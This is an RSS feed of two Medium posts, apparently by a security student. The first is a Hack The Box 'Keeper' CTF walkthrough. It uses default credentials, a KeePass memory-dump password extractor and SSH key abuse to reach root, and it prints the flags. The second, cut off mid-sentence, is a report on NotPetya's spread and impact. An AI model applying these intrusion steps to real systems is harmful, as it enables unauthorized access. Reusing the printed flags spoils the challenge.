<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Apocalypse on Medium]]></title>
        <description><![CDATA[Stories by Apocalypse on Medium]]></description>
        <link>https://medium.com/@timsinabishal232?source=rss-df2bbf6c0bc4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*JhJh1uCI9N4EVABa</url>
            <title>Stories by Apocalypse on Medium</title>
            <link>https://medium.com/@timsinabishal232?source=rss-df2bbf6c0bc4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 24 May 2026 04:28:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@timsinabishal232/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[KEEPER]]></title>
            <link>https://medium.com/@timsinabishal232/keeper-7236fdda5148?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7236fdda5148</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[keepers]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 05:21:11 GMT</pubDate>
            <atom:updated>2024-03-17T05:21:11.681Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p><a href="https://keeweb.info/">Welcome</a> to the <a href="https://app.hackthebox.com/machines/556"><strong><em>Keeper Capture The Flag (CTF)</em></strong></a> challenge, an exhilarating excursion into the realms of cybersecurity and penetration testing. This challenge encapsulates a multifaceted journey through a simulated environment, designed to test your skills in reconnaissance, exploitation, decryption, and privilege escalation. In this scenario, we’ll navigate a virtual landscape targeting a host with the IP address ‘10.10.11.227,’ armed with only a few open ports — 22 (SSH) and 80 (HTTP). our mission is to unearth vulnerabilities, exploit security loopholes, and progressively gain access, culminating in the capture of vital flags spread across the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*bWJfFjbQ357B9x2T.png" /></figure><p>Your journey begins with an initial scan, revealing two accessible ports and hinting at the opportunities and challenges that lie ahead. As you step into the fray, you’ll encounter an admin panel housing user profiles, ‘lnorgaard’ and ‘root,’ each serving as potential gateways to deeper system access. With meticulous observation and methodical exploration, you’ll uncover clues, passwords, and encrypted files that demand your expertise in decoding and exploitation.</p><p>Through this walkthrough, we’ll traverse each phase of the Keeper CTF challenge, meticulously outlining the steps taken to escalate privileges, decrypt secured files, and uncover critical flags. Prepare to engage in reconnaissance, leverage acquired information, utilize tools, and demonstrate your prowess in unraveling the intricacies of this simulated environment. Let’s embark on this quest together, navigating through the intricacies of cybersecurity to emerge victorious in capturing the elusive flags strewn across this virtual landscape.</p><p>Lets dive deep in it:-</p><h3><strong>Initial Reconnaissance</strong></h3><h4>Establishing Connection</h4><p>Let’s initiate the process by gaining access to the Linux system. To do so, we’ll start by downloading the VPN by going to “<strong>connect to HTB bar”</strong> and executing it via the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62YDEe53bejM0pphxsyyLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*quP1BYej79IwdhHWLsqRMw.png" /></figure><h4>Network Reconnaissance</h4><p>After establishing the VPN connection, we conducted an Nmap scan to explore and assess the target system. This comprehensive network reconnaissance allowed us to identify active hosts, discover open ports, and gain insights into the services running on the system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*V29GQs56QxDoVyntw0b-fw.png" /></figure><h4>Web Interface Exploration</h4><p>Upon reviewing the scan results, it was evident that the target host was active, showcasing two accessible ports: 22 for SSH and 80 for HTTP. Utilizing a web browser, we directed our attention to these ports, seeking potential web interfaces or services hosted on them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*we7vdiYGDsDsBqmGLGez4Q.png" /></figure><h4>Discovering Admin Panel</h4><p>Upon following the provided link to raise an IT support ticket at “tickets.keeper.htb/rt/”, we encountered an error page, indicating the absence of the intended service or resource at that location. To troubleshoot and potentially access the desired content, we attempted to bypass this issue by adding the IP address and domain name associated with the target system to the “/etc/hosts” file.</p><p>Steps:</p><p>Open the /etc/hosts file:</p><ul><li>sudo nano /etc/hosts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*m636mPCprhVAl9gEXIOK4w.png" /></figure><p>Add the IP address and domain name</p><ul><li>10.10.11.227 example.com</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*AKkOmWJRhUnzoivzirU6gA.png" /></figure><p>Save the file and exit the editor:</p><ul><li>Ctrl+O</li><li>Ctrl+X</li><li>Open a web browser and go to the IP address or domain name:</li><li><a href="http://10.10.11.227">http://10.10.11.227</a></li></ul><blockquote>Note: If you entered a domain name in the /etc/hosts file, you can go to the domain name instead of the IP address.</blockquote><h4>Default Login Credentials</h4><p>Despite this effort to directly map the IP to the domain, our attempts to access the page persistently resulted in an error, suggesting potential configuration issues or the unavailability of the service. This obstacle prompted further investigation into alternative routes for gaining access or discovering additional entry points into the system.The website now load in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/0*3d9kJpUeYAObuy7O" /></figure><p>Upon reaching the login page displaying the version “4.4.4+dfsg-2ubuntu1,” we initiated a search for default or common login credentials associated with this specific version. Our investigation revealed that the default credentials for this exploit were commonly set as ‘root’ for the username and ‘password’ for the password. Utilizing this information, we attempted to log in to the system, leveraging these default credentials to gain access and explore potential vulnerabilities or access points within the interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TaW2l7jrP2UGM5lRZI9e7w.png" /></figure><h4>User Profiles Exploration</h4><p>Having identified the default login credentials, ‘root’ as the username and ‘password’ as the password, we successfully accessed the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_no6HWaW2V7uFiWFjtbo_g.png" /></figure><p>Upon accessing the admin panel and navigating to the user dropdown, two user profiles were discovered: “lnorgaard” and “root”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fb-B_b4X7KOVyDb8OHAmgg.png" /></figure><p>Delving into the “lnorgaard” profile, details revealed a Unix login username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eF6EOp6ELzWS98Luq475xg.png" /></figure><p>Further exploration uncovered a crucial comment within the profile: “initial password set to Welcome2023!” This comment potentially indicates the initial password associated with this user account, providing a starting point for further investigation and potential access to deeper levels of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*8nHh5nYIvwC-FqFxyfxy3A.png" /></figure><h3>Exploitation and Decryption</h3><h4>SSH Access as ‘lnorgaard’</h4><p>Successfully establishing an SSH connection using the credentials discovered earlier for ‘lnorgaard’ granted access to system, allowing entry into the user’s home directory.</p><p>Upon listing the directory contents, notable files were uncovered, including ‘KeePassDumpFull.dmp’, ‘passcodes.kdbx’, ‘RT30000.zip’, and ‘user.txt’. The ‘user.txt’ file, when accessed via the ‘cat’ command, revealed a cryptographic hash string ‘fd2df240b2b3d2fdfadb5c723fb70c45’, which is a part of the ongoing challenge or serve as a flag indicating progress within this CTF challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*cR2Zo89omsk0_CXqD85-Xw.png" /></figure><p>SCP Command Usage:</p><ul><li>SCP (scp command) is used for securely transferring files between a local and a remote host.</li><li>The command structure used: scp lnorgaard@10.10.11.227:~/RT30000.zip ./</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*GujfaASQcdw8dIp0tQSFJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*fsRHHDipJTX-vW1FiWr06Q.png" /></figure><h4>Analyzing Dump File</h4><p>From the above output it can be seen that we have an application dump file and another Keepass database file. Based on the files that we have our approach should be to analyze the dump file to find the master password for the database and then unlock it.</p><p>With a quick google search we can find a <a href="https://github.com/vdohney/keepass-password-dumper">GitHub repository</a> which can process the dump file and extract the master password from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*Ki8wpWgfRXPjmwE253wEDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*BDD-nFzgsbZjSkV12uNJhQ.png" /></figure><p>As shown above, after cloning, you moved the files ‘KeePassDumpFull.dmp’ and ‘passcodes.kdbx’ from their original location to the ‘keepass-password-dumper’ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*9jAR9No3h9bE9oyDSRKHrQ.png" /></figure><p>Within this ‘keepass-password-dumper’ directory, there was a requirement to modify the architecture version from 7 to 6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*snKgF32tvcZFdSfUvxmIVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*iwq1RzEgB-PNxYmIKbHqRg.png" /></figure><p>dotnet run KeePassDumpFull.dmp executed a script, Upon execution, the output from the command displayed the message “M}dgrød med fløde” in the terminal or command prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*NnSAk_-VnhYDwswuf0SHWQ.png" /></figure><ul><li>After encountering the message “M}dgrød med fløde,” we conducted a quick internet search using this phrase.</li><li>The search led to the discovery of the password “rødgrød med fløde,” which seems to be a translation or variation of the encoded message obtained earlier.</li></ul><h4>Decoding Password</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*vROjzB4Lkeiac0qhn0bQFg.png" /></figure><p><a href="https://keeweb.info/">https://keeweb.info/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*qgSSo7clM_Qys9Z7zhBZTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*8s6mbyJ-NHFBR_d_w58L5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*5B3rtwIv7Skzm0o6n9Y1zA.png" /></figure><p>After attempting to decode the password using <a href="https://keeweb.info/">https://keeweb.info/</a>, the previously discovered password was successfully decoded, revealing a PuTTY User Key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*vHxyVRhuqzM-h4Sib927CA.png" /></figure><p>Upon conducting a quick online search for “Putty-User-Key-File-3,” information was found indicating its association with puttygen, which is a tool commonly used to generate such key files. This insight suggested the next steps might involve utilizing puttygen or PuTTY-related methods to leverage this key for potential access or authentication on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*UkcBsG6unMmfIBV1VOd9xQ.png" /></figure><ul><li>Executed the command ssh -i keyfile lnorgaard@10.10.11.227 to connect to the server as the user &#39;lnorgaard&#39; using the specified keyfile for authentication.</li><li>Successfully accessed the Ubuntu system as &#39;root&#39; after providing the necessary password.</li></ul><h4>Privilege Escalation and Flag Capture</h4><ul><li>Ran ls command to list the contents of the &#39;root&#39; user&#39;s home directory, revealing files &#39;root.txt&#39;, &#39;RT30000.zip&#39;, and a directory labeled &#39;SQL&#39;.</li><li>Accessed the &#39;root.txt&#39; file using cat command, obtaining a cryptographic hash string &#39;c8389bf7263938d076fcb4d84dd14797&#39;. This whic serve as our final flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*5cb0H4-eowimsmbSSqzOKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikdjvWkjjnGxXkBjPjMpDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-suvXYc8-elH9xguIyzsg.png" /></figure><h3>Conclusion</h3><p>In conclusion, the walkthrough details the systematic approach taken to navigate through the Keeper CTF challenge on the host with the IP address ‘10.10.11.227.’ The initial reconnaissance involved identifying open ports (22 and 80) through an Nmap scan. Setting up the host in the /etc/hosts file facilitated access to the web application, revealing an admin panel with user profiles &#39;lnorgaard&#39; and &#39;root.&#39;</p><p>The ‘lnorgaard’ profile yielded a Unix login username, and further exploration uncovered a comment hinting at the initial password. Utilizing this information, an SSH connection was established, granting access to the user’s home directory. Examination of directory contents exposed key files, including ‘KeePassDumpFull.dmp’ and ‘passcodes.kdbx.’ Moving these files to a designated directory and adjusting the architecture version, the dump file was analyzed using a tool obtained from a GitHub repository, uncovering a translated password.</p><p>Decoding the password using <a href="https://keeweb.info/">https://keeweb.info/</a> revealed a PuTTY User Key. A subsequent search on “Putty-User-Key-File-3” provided insights into the key’s generation. The final steps involved using the key to establish SSH connections as both ‘lnorgaard’ and ‘root.’ As ‘root,’ further investigation uncovered the ‘root.txt’ file, containing the conclusive cryptographic hash ‘c8389bf7263938d076fcb4d84dd14797,’ serving as the ultimate flag in completing the Keeper CTF challenge. This comprehensive walkthrough illustrates the combination of enumeration, exploitation, decoding, and privilege escalation steps to achieve the ultimate goal of capturing the flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7236fdda5148" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“NotPetya”]]></title>
            <link>https://medium.com/@timsinabishal232/notpetya-eb5ddf8e873d?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb5ddf8e873d</guid>
            <category><![CDATA[ukraine]]></category>
            <category><![CDATA[ransomeware]]></category>
            <category><![CDATA[notpetya]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 04:47:40 GMT</pubDate>
            <atom:updated>2024-03-17T04:47:40.718Z</atom:updated>
            <content:encoded><![CDATA[<p>Table of Contents</p><blockquote>Introduction</blockquote><blockquote><a href="#_Toc135858027">Background</a></blockquote><blockquote><a href="#_Toc135858028">Objective of the report</a></blockquote><blockquote><a href="#_Toc135858029">Development and Origins</a></blockquote><blockquote><a href="#_Toc135858030">Combination of notPetya</a></blockquote><blockquote>i. <a href="#_Toc135858031">Initial Dropper</a></blockquote><blockquote>ii. <a href="#_Toc135858032">Propagation Mechanism</a></blockquote><blockquote>iii. <a href="#_Toc135858033">Credential Theft</a></blockquote><blockquote>iv. <a href="#_Toc135858034">Encryption.</a></blockquote><blockquote><a href="#_Toc135858035">Global Reach and Affected Industries</a></blockquote><blockquote><a href="#_Toc135858036">Lessons Learned and Prevention Strategies</a></blockquote><blockquote><a href="#_Toc135858037">Future Outlook and Evolving Threat Landscape</a></blockquote><blockquote><a href="#_Toc135858038">Case studies</a></blockquote><blockquote><a href="#_Toc135858039">Technical aspect of the attack of Ukraine</a></blockquote><blockquote><a href="#_Toc135858040">Target and motivation of the attack</a></blockquote><blockquote><a href="#_Toc135858041">Hybrid warfare against Ukraine</a></blockquote><blockquote><a href="#_Toc135858042">Alternative theory</a></blockquote><blockquote><a href="#_Toc135858043">Effects of the attack</a></blockquote><blockquote><a href="#_Toc135858044">Ukraine</a></blockquote><blockquote><a href="#_Toc135858045">Rest of the world</a></blockquote><blockquote><a href="#_Toc135858046">Responses to the attack</a></blockquote><blockquote><a href="#_Toc135858047">Ukrainian government</a></blockquote><blockquote><a href="#_Toc135858048">Maersk</a></blockquote><blockquote><a href="#_Toc135858049">Microsoft</a></blockquote><blockquote><a href="#_Toc135858050">What should have been done?</a></blockquote><blockquote><a href="#_Toc135858051">Before attack</a></blockquote><blockquote><a href="#_Toc135858052">During the attack</a></blockquote><blockquote><a href="#_Toc135858053">After the attack</a></blockquote><blockquote><a href="#_Toc135858054">THE COST OF NOTPETYA</a></blockquote><blockquote><a href="#_Toc135858055">Conclusion: 18</a></blockquote><h3>Introduction</h3><p>NotPetya was a destructive ransomware that emerged in 2017. It targeted Windows systems and caused widespread disruption. Though it initially appeared to be a ransomware attack, its true purpose was to cause damage rather than make money. NotPetya spread rapidly through networks, exploiting vulnerabilities and stolen credentials. It primarily targeted businesses and organizations, particularly in Ukraine. The malware caused significant operational disruptions and financial losses for many affected organizations. It is believed to have originated from Russia, although the exact motives and origins remain disputed. NotPetya served as a reminder of the need for strong cybersecurity measures and proactive strategies to protect against highly destructive malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DPI8HDydaFk7_N7U" /></figure><h3>Background</h3><p>The NotPetya cyberattack, also known as ExPetr, occurred on June 27, 2017, and had a significant global impact. It targeted organizations across various industries, affecting both public and private sectors. Originating in Ukraine, the attack quickly spread to other countries, including Russia, the United States, the United Kingdom, and many European nations, disrupting critical infrastructure such as power grids, transportation systems, and financial institutions. Initially disguised as a variant of the Petya ransomware, NotPetya proved to be far more destructive and had different operational characteristics. Its primary objective appeared to be disruption rather than financial gain, setting it apart from traditional ransomware.</p><p>NotPetya utilized various techniques and tools to rapidly propagate within networks, exploiting vulnerabilities in Microsoft Windows systems, including the EternalBlue and EternalRomance exploits leaked by the group “The Shadow Brokers” in 2017. These exploits targeted weaknesses in the Server Message Block (SMB) protocol, enabling lateral movement and infecting interconnected systems. Even weeks after the initial outbreak, NotPetya continued to impact companies across multiple industries. Researchers discovered that NotPetya and Petya are unrelated, with the analyzed NotPetya binary identified as a variant of the “GoldenEye” Petya variant. However, it was not directly modified from the GoldenEye source but rather manually patched. This ransomware was potentially more devastating than WannaCry as it could spread without relying on vulnerable systems. Although patching was crucial to prevent its spread via the EternalBlue/EternalRomance exploits, NotPetya also harvested SMB and user credentials from infected hosts to propagate within networks. Therefore, just one infected machine within an organization could compromise the entire network.</p><p>NotPetya had a significant impact, causing severe disruptions and financial losses across various sectors, including banking, healthcare, manufacturing, logistics, and government entities. The attack exposed vulnerabilities in critical infrastructure, emphasizing the importance of robust cybersecurity measures in today’s digital world. The attribution of NotPetya remains under investigation and debate, with potential links to state-sponsored actors like the Russian military intelligence agency GRU. However, no definitive attribution has been officially confirmed.</p><h3>Objective of the report:</h3><blockquote>i. Provide the background on the NotPetya cyberattack,</blockquote><blockquote>ii. Describe the combination of Notpetya.</blockquote><blockquote>iii. Present case study of Ukraine</blockquote><h3>Development and Origins:</h3><p>NotPetya, a highly destructive ransomware, emerged as a modified version of the Petya ransomware. It leveraged two well-known exploits, EternalBlue and Mimikatz, targeting vulnerabilities in older versions of Windows.</p><p>EternalBlue, a powerful exploit, was originally developed by the U.S. National Security Agency (NSA) but was later disclosed in a significant data breach in early 2017. This exploit allowed unauthorized remote access to systems, enabling attackers to execute their own code. It became a widely sought-after tool by malicious actors due to its ability to penetrate systems and propagate rapidly. Mimikatz, on the other hand, was a proof-of-concept exploit publicly revealed by French security researcher Benjamin Delpy in 2011. This exploit demonstrated that user passwords stored in Windows machines’ memory could be extracted and used for various attacks, either manually or in automated, multi-user/multi-machine scenarios.</p><p>By combining the capabilities of EternalBlue and Mimikatz, NotPetya became a formidable weapon. Unlike traditional trojans, it did not require user interaction to spread, making it highly efficient. The malware propagated rapidly across networks, encrypting victims’ systems and files, rendering them inaccessible. The ransom demand was used as a cover, as the encryption process was irreversible, leading many to believe that the attackers’ primary intent was to cause widespread damage rather than financial gain.</p><p>The development and origins of NotPetya have been subject to intense speculation and attribution challenges. While security experts and intelligence agencies have linked the attack to state-sponsored actors, particularly the Russian military intelligence agency GRU, conclusive evidence establishing definitive attribution remains elusive. The attack primarily targeted organizations in Ukraine, leading to suspicions of geopolitical motivations given the tense relationship between Ukraine and Russia at the time. However, it is crucial to note that attributing cyberattacks accurately is a complex process often hindered by obfuscation techniques and false flags, making definitive conclusions difficult to reach.</p><h3>Combination of notPetya:</h3><p>NotPetya was a modified version of Petya, using two known exploits for older Windows versions: EternalBlue and Mimikatz. The former is a digital skeleton key that was disclosed in a catastrophic NSA data breach in early 2017. It enables outsiders’ remote access to run their own code. The latter is a proof-of-concept exploit made public in 2011 by Benjamin Delpy, a French security researcher. Delpy’s discovery showed that user passwords on Windows machines persisted in memory, and that they could be extracted from RAM and used for singular or automated, multi-user/multi-machine attacks. Together, these made NotPetya a perfect weapon. It did not require user action as a trojan would, and it was fast. It simply, and rapidly, traveled from one system to another, accessing admin credentials. A large Ukrainian bank’s network was taken down in 45 seconds, and part of the country’s transit hub was fully infected in 16 seconds.</p><p>NotPetya was primarily composed of the following components:</p><ol><li><strong>Initial Dropper:</strong> The attack started with a dropper, which was a small executable file or exploit that initiated the infection process. The dropper was typically delivered through compromised software update mechanisms or supply chains, specifically targeting the Ukrainian accounting software called ME.Doc. There is evidence that the attack started from a software called M.E.Doc, which was used widely in Ukraine, because it was demanded by the Ukrainian government to fill tax reports with it. The attackers first hijacked the M.E.Doc update servers. They gathered information from the servers and created a false update patch, which would be then distributed to all computers using the M.E.Doc software.</li><li><strong>Propagation Mechanism: </strong>Once inside a network, NotPetya utilized various techniques to propagate itself laterally. It scanned for vulnerable Windows systems and exploited security weaknesses, such as the EternalBlue exploit (originally developed by the U.S. National Security Agency) that targeted the Server Message Block (SMB) protocol vulnerability.</li><li><strong>Credential Theft:</strong> NotPetya also incorporated credential theft mechanisms then the malware started to intercept passwords and capture administrative privileges with a credential dumping tool like Mimikatz tool, to harvest login credentials from compromised systems. These stolen credentials were then used to move laterally across the network, gaining access to more systems and increasing the scope of the infection.</li><li><strong>Encryption: </strong>NotPetya employed advanced encryption techniques to encrypt the Master File Table (MFT), which is a critical component of the NTFS file system. By encrypting the MFT, NotPetya effectively rendered the entire file system inaccessible. It used a combination of encryption algorithms, including the modified version of the open-source disk encryption tool DiskCryptor. The exact encryption algorithm used by NotPetya is not publicly disclosed, but it is believed to involve a combination of symmetric and asymmetric encryption methods. Symmetric encryption uses a single encryption key to both encrypt and decrypt data, while asymmetric encryption uses a pair of keys, consisting of a public key for encryption and a private key for decryption.</li></ol><h3>Global Reach and Affected Industries:</h3><p>NotPetya had a global impact, affecting organizations across various industries. It heavily targeted industries such as finance, healthcare, manufacturing, shipping, and logistics. Large multinational corporations and critical infrastructure providers were particularly vulnerable to the attack.</p><ol><li><strong>Financial Losses</strong>: The financial consequences of the NotPetya attack were significant. Organizations faced direct costs related to ransom payments, recovery efforts, and legal expenses. Indirect costs, including business interruption, lost productivity, and reputational damage, were also substantial. The financial burden imposed by the attack placed a strain on the affected organizations.</li><li><strong>Operational Disruptions</strong>: NotPetya caused widespread operational disruptions, leading to system downtime, loss of critical data, and delays in business operations. Some organizations struggled to fully recover from the attack, resulting in prolonged disruptions and service outages. The attack severely hampered the ability of affected organizations to maintain their normal functioning and meet customer demands.</li><li><strong>Reputational Damage</strong>: The reputational damage inflicted by NotPetya was severe. Organizations that failed to adequately protect their systems and customer data suffered a loss of trust from their clients, stakeholders, and the public. Rebuilding trust and restoring a positive reputation proved to be a challenging and time-consuming process. The reputational fallout further compounded the overall impact of the attack on the affected organizations.</li></ol><h3>Lessons Learned and Prevention Strategies</h3><ol><li><strong>Patch Management and Software Updates</strong>: Regularly applying patches and updates to systems and software is crucial to address vulnerabilities that can be exploited by malware like NotPetya. Organizations should prioritize timely patch management and ensure that all systems are up to date.</li><li><strong>Robust Network Segmentation:</strong> Implementing strong network segmentation helps contain the spread of malware within a network. By dividing networks into isolated segments, organizations can limit the lateral movement of malware and minimize its impact.</li><li><strong>Multifactor Authentication and Strong Password Policies:</strong> Enforcing strong password policies and implementing multifactor authentication adds an extra layer of security, reducing the risk of unauthorized access and credential theft.</li><li><strong>Regular Data Backups and Offsite Storage:</strong> Regularly backing up data and storing it offsite or on isolated networks is crucial for system restoration in the event of an attack. Periodic testing of backups ensures their integrity and reliability.</li><li><strong>Employee Awareness and Training:</strong> Educating employees about cybersecurity best practices, raising awareness about phishing attacks, and promoting safe browsing habits are essential. Regular training sessions and simulated phishing exercises can enhance employee awareness and reduce the likelihood of successful attacks.</li><li><strong>Continuous Monitoring and Threat Hunting:</strong> Implementing continuous monitoring and proactive threat hunting measures allows organizations to detect and respond to potential threats in real-time. By monitoring network activity, analyzing logs, and employing advanced threat detection technologies, organizations can identify and mitigate threats before they cause significant damage.</li><li><strong>Regular Security Assessments and Penetration Testing:</strong> Conducting regular security assessments and penetration testing helps identify vulnerabilities and weaknesses in an organization’s systems and infrastructure. By simulating real-world attacks, organizations can uncover potential entry points and address them proactively, strengthening their overall security posture.</li></ol><h3>Future Outlook and Evolving Threat Landscape</h3><p><strong>Technological Advancements and Adaptation:</strong> The future outlook of cybersecurity is closely tied to technological advancements and the ever-evolving threat landscape. As technology continues to advance, new vulnerabilities and attack vectors will emerge. It is crucial for organizations to adapt to these changes by continuously updating their security measures, staying informed about emerging threats, and leveraging advanced technologies to strengthen their defenses.</p><p><strong>Artificial intelligence (AI) and machine learning (ML):</strong> Artificial intelligence (AI) and machine learning (ML) are expected to play a significant role in cybersecurity. These technologies can be used to analyze vast amounts of data, detect anomalies, and identify potential threats in real-time. AI-powered solutions can enhance threat detection, automate incident response, and improve overall security effectiveness.</p><p><strong>Cloud computing and the Internet of Things (IoT):</strong> Cloud computing and the Internet of Things (IoT) present both opportunities and challenges. While cloud services offer scalability and flexibility, organizations must ensure robust security measures are in place to protect their data and applications. With the proliferation of IoT devices, securing interconnected networks and managing vulnerabilities in these devices will be crucial.</p><p><strong>Defense and Detection Enhancements:</strong> As cyber threats become more sophisticated, defense and detection mechanisms need to keep pace. Next-generation firewalls, intrusion detection and prevention systems (IDPS), and advanced endpoint protection solutions are continually evolving to address emerging threats.</p><p>Threat intelligence platforms and sharing networks are becoming more prevalent, enabling organizations to access up-to-date threat information and collaborate with others in the industry. This collective approach strengthens the overall security posture by leveraging shared knowledge and experiences. Security automation and orchestration tools are gaining prominence, allowing organizations to automate routine security tasks, streamline incident response processes, and improve overall efficiency. By automating repetitive tasks, security teams can focus on more strategic activities such as threat hunting and proactive defense.</p><p>The integration of security into the development lifecycle, known as DevSecOps, is gaining traction. This approach emphasizes embedding security practices throughout the software development process, enabling organizations to identify and address vulnerabilities early on.</p><h3>Case studies:</h3><h3>Technical aspect of the attack of Ukraine:</h3><p>The NotPetya attack was a sophisticated and devastating ransomware attack that combined various techniques and vulnerabilities to infect systems and propagated rapidly across networks. It incorporated elements from earlier cyber-attacks and leveraged known vulnerabilities, making it a more advanced version of previous techniques. The attack shared similarities with the Petya ransomware attack from 2016, both in terms of code and lateral movement techniques. Additionally, it utilized code from the open-source application Mimikatz, which was created in 2011 to expose vulnerabilities in Microsoft systems. Mimikatz allowed NotPetya to steal credentials and escalate privileges, enabling further unauthorized access. The attack originated from the compromise of M.E. Doc, a widely used software in Ukraine for tax reporting. The attackers hijacked the M.E.Doc update servers and distributed a false update patch, which contained the attacker’s malware. When users downloaded and installed the fake update, the malware discreetly executed in the background.</p><p>The malware intercepted passwords and captured administrative privileges using credential dumping tools like Mimikatz. It then proceeded to encrypt files on all drives of the infected computer. After completing the encryption process, the malware set a timer to reboot the system and gain full control. During the reboot, a fake error message appeared, instructing users not to turn off the computer. Once the system restarted, a ransom note demanding payment in Bitcoins was displayed, although the malware was not designed to decrypt the files even if the ransom was paid. NotPetya had the ability to move laterally within networks, behaving like a worm. It employed multiple techniques to infect other computers, including stealing network credentials, reusing existing active sessions, and exploiting SMB vulnerabilities such as EternalBlue and EternalRomance. These vulnerabilities had been previously exploited in attacks like WannaCrypt. The combination of these techniques and vulnerabilities allowed NotPetya to infect and spread rapidly throughout networks, causing extensive damage. The attack was characterized by its destructive nature and lack of intention to decrypt files, highlighting its objective to maximize damage rather than financial gain.</p><p>Overall, the NotPetya attack demonstrated the sophistication and devastation that can arise from combining old techniques with known vulnerabilities. Its worm-like capabilities and rapid propagation made it a highly destructive version of ransomware, emphasizing the need for robust security measures to protect against similar attacks.</p><h3>Target and motivation of the attack</h3><h3>Hybrid warfare against Ukraine</h3><p>The NotPetya attack is believed to be part of Russian hybrid warfare against Ukraine. After the Russia’s annexation of Crimea in 2014, the relationship between Russia and Ukraine have been cold. There are evidence of Russian Federation backing up fighters against the Ukrainian government in Crimea. Ukraine is believed to be the main target of this cyber-attack. There are several evidence pointing to that statement. Of all the infected computers, 80% of them were in Ukraine. Also, the software M.E.Doc, which was used to carry out this attack is widely used in Ukraine as a tax filing software. This indicates that the attack was not a ransomware but designed to cause maximum destruction and disruption in Ukraine, and it spread unintentionally to other countries5 . Few experts believe that the outbreak was directed against businesses and government in Ukraine, and the attackers underestimated the spreading capabilities of the malware4 . The attack came on the eve of Ukrainian public holiday, the Constitution Day, which means that most government and business offices where empty at the time. This seems odd for ransomware, which needs humans to see the ransom note and pay to get their files decrypted. What was even more odd for ransomware, was that the malware overwrote and destroyed important files and drives, despite showing a ransom note ensuring the user that they could get their files back safely and easily. This indicates that the malware wasn’t designed for monetary purposes but to cripple the Ukrainian state. The ransomware made only 10 000 USD out of the payments of users but is estimated to cause over 10 billion USD worth of damage. The malware also had the ability to identify specific computer systems and bypass infection of those systems. This is believed to be a sign of a more surgical goal than just making money. Security experts also found a backdoor in the M.E.Doc update system which is believed to be installed as early as April 2017, over two months before the attack. The backdoor installation timing indicates clearly a well-planned and well-executed operation behind the NotPetya attack. Because of the large file size of the NotPetya malware, 1,5 gigabytes, it is also believed that there might be other backdoors that haven’t been found yet.</p><p>Data has been found showing that this is not the first attack by the same perpetrators. It is believed that either Telebots, Black Energy or Sandworm, all claimed to be backed up by the Russian Federation, is behind this attack. Traces have led to the conclusion that whoever was behind the NotPetya attack, was also behind the attack in December 2016 which was targeted against Ukrainian financial system. The traces lead also to the Petya attack being by the same perpetrators. US and UK have also claimed that Russia is behind this attack and that the Russian Main Intelligence Directorate designed NotPetya. Russia have denied all accusations, stating that Russian systems were also impacted by the attack. Despite denying responsibility for the attack, the Russian Federation also has some clear interests in carrying out an attack. In addition to paralyzing and causing damage to Ukraine, the attack could have served as a demonstration of Russia’s power in the cyber domain. A demonstration of power like this could be used as a deterrent against cyber-attacks planned against the Russian Federation. In this case denying the attack was merely a formality, and intentionally left people with a strong feeling that the Russian 